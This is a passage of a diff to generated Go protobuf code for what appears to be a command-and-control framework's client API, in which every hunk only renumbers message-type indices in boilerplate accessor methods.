@@ -6349,7 +6832,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *Operator) GetOnline() bool { @@ -6383,7 +6866,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6396,7 +6879,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6409,7 +6892,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *WebContent) GetID() string { @@ -6466,7 +6949,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6479,7 +6962,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6492,7 +6975,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *WebsiteAddContent) GetName() string { @@ -6521,7 +7004,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6534,7 +7017,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6547,7 +7030,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *WebsiteRemoveContent) GetName() string { @@ -6577,7 +7060,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6590,7 +7073,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6603,7 +7086,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *Website) GetID() string { @@ -6638,7 +7121,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6651,7 +7134,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6664,7 +7147,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *Websites) GetWebsites() []*Website { @@ -6688,7 +7171,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6701,7 +7184,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6714,7 +7197,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6761,7 +7244,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6774,7 +7257,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6787,7 +7270,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *Loot) GetID() string { @@ -6843,7 +7326,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6856,7 +7339,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6869,7 +7352,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *AllLoot) GetLoot() []*Loot { @@ -6893,7 +7376,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6906,7 +7389,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6919,7 +7402,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *IOC) GetPath() string { @@ -6954,7 +7437,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6967,7 +7450,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6980,7 +7463,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *ExtensionData) GetOutput() string { @@ -7008,7 +7491,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7021,7 +7504,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7034,7 +7517,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *Host) GetID() string { @@ -7104,7 +7587,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7117,7 +7600,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7130,7 +7613,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *AllHosts) GetHosts() []*Host { @@ -7158,7 +7641,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7171,7 +7654,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7184,7 +7667,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -7247,7 +7730,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7260,7 +7743,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7273,7 +7756,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -7297,7 +7780,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7310,7 +7793,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7323,7 +7806,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *BackdoorReq) GetFilePath() string { @@ -7365,7 +7848,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7378,7 +7861,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7391,7 +7874,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -7417,7 +7900,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7430,7 +7913,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7443,7 +7926,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7500,7 +7983,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7513,7 +7996,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7526,7 +8009,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *ShellcodeEncode) GetData() []byte { @@ -7554,7 +8037,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7567,7 +8050,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7580,7 +8063,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7603,7 +8086,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7616,7 +8099,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7629,7 +8112,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7664,7 +8147,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7677,7 +8160,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7690,7 +8173,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Builders) GetBuilders() []*Builder { @@ -7717,7 +8200,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7730,7 +8213,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7743,7 +8226,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *Builder) GetName() string { @@ -7807,7 +8290,7 @@ type HTTPC2Configs struct { func (x *HTTPC2Configs) Reset() { *x = HTTPC2Configs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7820,7 +8303,7 @@ func (x *HTTPC2Configs) String() string { func (*HTTPC2Configs) ProtoMessage() {} func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7833,7 +8316,7 @@ func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Configs.ProtoReflect.Descriptor instead. func (*HTTPC2Configs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *HTTPC2Configs) GetConfigs() []*HTTPC2Config { @@ -7854,7 +8337,7 @@ type C2ProfileReq struct { func (x *C2ProfileReq) Reset() { *x = C2ProfileReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7867,7 +8350,7 @@ func (x *C2ProfileReq) String() string { func (*C2ProfileReq) ProtoMessage() {} func (x *C2ProfileReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7880,7 +8363,7 @@ func (x *C2ProfileReq) ProtoReflect() protoreflect.Message { // Deprecated: Use C2ProfileReq.ProtoReflect.Descriptor instead. func (*C2ProfileReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *C2ProfileReq) GetName() string { @@ -7902,7 +8385,7 @@ type HTTPC2ConfigReq struct { func (x *HTTPC2ConfigReq) Reset() { *x = HTTPC2ConfigReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7915,7 +8398,7 @@ func (x *HTTPC2ConfigReq) String() string { func (*HTTPC2ConfigReq) ProtoMessage() {} func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7928,7 +8411,7 @@ func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2ConfigReq.ProtoReflect.Descriptor instead. func (*HTTPC2ConfigReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *HTTPC2ConfigReq) GetOverwrite() bool { @@ -7960,7 +8443,7 @@ type HTTPC2Config struct { func (x *HTTPC2Config) Reset() { *x = HTTPC2Config{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7973,7 +8456,7 @@ func (x *HTTPC2Config) String() string { func (*HTTPC2Config) ProtoMessage() {} func (x *HTTPC2Config) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7986,7 +8469,7 @@ func (x *HTTPC2Config) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Config.ProtoReflect.Descriptor instead. func (*HTTPC2Config) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *HTTPC2Config) GetID() string { @@ -8038,7 +8521,7 @@ type HTTPC2ServerConfig struct { func (x *HTTPC2ServerConfig) Reset() { *x = HTTPC2ServerConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] 